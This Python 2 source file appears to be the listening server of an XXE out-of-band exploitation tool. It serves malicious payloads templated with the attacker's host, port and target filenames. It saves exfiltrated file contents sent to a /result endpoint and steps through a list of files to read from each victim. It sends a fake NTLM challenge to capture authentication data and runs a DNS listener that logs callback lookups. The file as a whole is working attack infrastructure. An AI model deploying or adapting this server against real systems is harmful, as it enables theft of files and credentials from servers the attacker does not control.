xml_server.py

#coding: utf8

import asynchat
import asyncore
import logging
import re
import socket
from urlparse import urlparse
import urllib
import warnings
import os

import packets
from packets import Packet

try:
    import dnstk
    from dnstk import packet
    dns_enabled = True
except ImportError:
    warnings.warn('Install dnstk package for enabling DNS server')
    dns_enabled = False

import config
from config import ColorizingStreamHandler


__author__ = 'Gifts'

RE_QS = re.compile(r'(?:GET|POST) (.*) HTTP/')
RE_HOST = re.compile(r'(?:GET|POST) (.*) HTTP/')
RE_NTLM_AUTH = re.compile(r'Authorization: NTLM(?:[ ]([^\r\n]+))?')
RE_RESULT = re.compile(r'/result\??([^ ]*)')


global_dns_state = set()
global_file_state = {}

class NoData(Exception):
    pass

class XML_worker(asynchat.async_chat):
    def __init__(self, sock_pair, map=None):
        sock, addr = sock_pair
        LOGGER.debug('Connection from: %r', addr)
        asynchat.async_chat.__init__(self, sock, map)
        self.addr = addr
        self.ibuffer = []
        self.set_terminator('\n')

    def parse_query(self, data):
        query = None
        tmp_query = RE_QS.search(data)
        if tmp_query:
            LOGGER.debug('Query: %r', tmp_query.group(1))
            query = urlparse(tmp_query.group(1))
            LOGGER.debug('Parsed query: %r', query)

        return query

    def push(self, data):
        LOGGER.warn('<---- Response: %s', data)
        asynchat.async_chat.push(self, data)

    def do_ntlm_auth(self, data):
        if 'Authorization:' not in data:
            return packets.Packet(headers={'WWW-Authenticate': 'NTLM'}, status=401)
        else:
            LOGGER.info('Begin NTLM auth')
            auth_string = RE_NTLM_AUTH.search(data)
            if not auth_string:
                return packets.Packet(status=404)
            else:
                try:
                    data = auth_string.group(1).decode('base64')
                    LOGGER.info("NTLM: %r", data)
                except Exception as e:
                    self.close_when_done()
                    return
                if data[8] == '\x01':
                    return packets.Packet(status=401, headers={
                        'WWW-Authenticate': 'NTLM {0}'.format('NTLMSSP\0\2\0\0\0\0\0\0\0\x82\0\0\1\x82\0\x0011223344\0\0\0\0\0\0\0\0'.encode('base64'))
                    })
                elif data[8] == '\x03':
                    return packet.Packet()

    def get_filelist(self):
        flist = set(config.FILE_LIST)
        with open('filelist.txt', 'rb') as f:
            tmp = f.readlines()
        flist |= set(map(lambda x: x.strip(), tmp))
        return flist

    def make_headers(self, data):
        if 'ntlm' in data:
            self.do_ntlm_auth(data)

    def found_terminator(self):
        filename = ''
        data = "".join(self.ibuffer)
        if '\r\n\r\n' not in data and '\n\n' not in data:
            return
        self.set_terminator(None)
        self.ibuffer = []
        LOGGER.info('----> Request: %s', data)

        if ' /result' in data:
            tmp = RE_RESULT.search(data)
            if tmp:
                with open('result.txt', 'wb') as f:
                    f.write(urllib.unquote(tmp.group(1)))
        elif ' /interactive' in data:
            flist = self.get_filelist()
            if flist:
                state_tmp = global_file_state.get(self.addr[0], set())
                not_read = set(flist) - set(state_tmp)
                if not_read:
                    filename = not_read.pop()
                    state_tmp.add(filename)
                    global_file_state[self.addr[0]] = state_tmp

        # Get payload result
        try:
            query = self.parse_query(data)
        except:
            LOGGER.debug('Unparsed query: %r', data)
            return

        reload(config)
        try:
            result = config.PAYLOADS.get(query.path.lstrip('/'), Packet())
        except:
            self.close_when_done()
            return

        result = str(result).format(
            **{
                'host': config.HOST,
                'port': config.LISTEN_PORT,
                'filename': urllib.unquote(filename or query.query)
            }
        )
        LOGGER.debug('Formatted result: %r', result)

        # Sending and closing connection
        self.push(result)
        self.close_when_done()

    def collect_incoming_data(self, data):
        self.ibuffer.append(data + "\n")
        LOGGER.debug('Incoming raw data: %r', data)


class XML_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', config.INT_PORT))
            except socket.error:
                logging.critical('Port already in use. Trying reusing')
                exit()

            self.listen(5)
            logging.critical('Started listening on port: %s', config.INT_PORT)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            tmp = XML_worker(pair)


class DNS_listener(asyncore.dispatcher, object):
    def __init__(self, addr=None):
        LOGGER.debug('Starting DNS server')
        super(DNS_listener, self).__init__()
        self.ignore_log_types = set()
        self.create_socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.ReadBufferSize = self.socket.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)
        if addr:
            self.bind(addr)
        LOGGER.critical('DNS server started')


    def handle_close(self):
        self.close()

    def writable(self):
        return False

    def handle_read(self):
        try:
            data, addr = self.recvfrom(self.ReadBufferSize)
            try:
                tmp_dns_request = packet.Packet.parse(data)
            except Exception as e:
                return
            for row in tmp_dns_request.questions:
                row = row.name
                if row not in global_dns_state:
                    LOGGER.warn("DNS lookup: %r from: %r", row, socket.gethostbyaddr(addr[0])[0])
                global_dns_state.add(row)

        except socket.error:
            pass

    def sendto(self, msg, toaddr):
        self.socket.sendto(msg, toaddr)

    handle_connect = handle_read


def daemonize():
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


if __name__ == '__main__':
    root = logging.getLogger()
    root.setLevel(logging.INFO)
    root.addHandler(
        ColorizingStreamHandler()
    )
    tmp_format = logging.FileHandler('log.txt', 'ab')
    tmp_format.setFormatter(logging.Formatter(config.LOGGING_FORMAT))
    root.addHandler(
        tmp_format
    )
    LOGGER = logging.getLogger(__name__)
    logging.basicConfig(level=logging.INFO, format=config.LOGGING_FORMAT)
    xml_server = XML_listener()

    if dns_enabled and config.dns_enabled:
        dns_server = DNS_listener(('', 53))

    if config.daemonize:
        daemonize()

    asyncore.loop()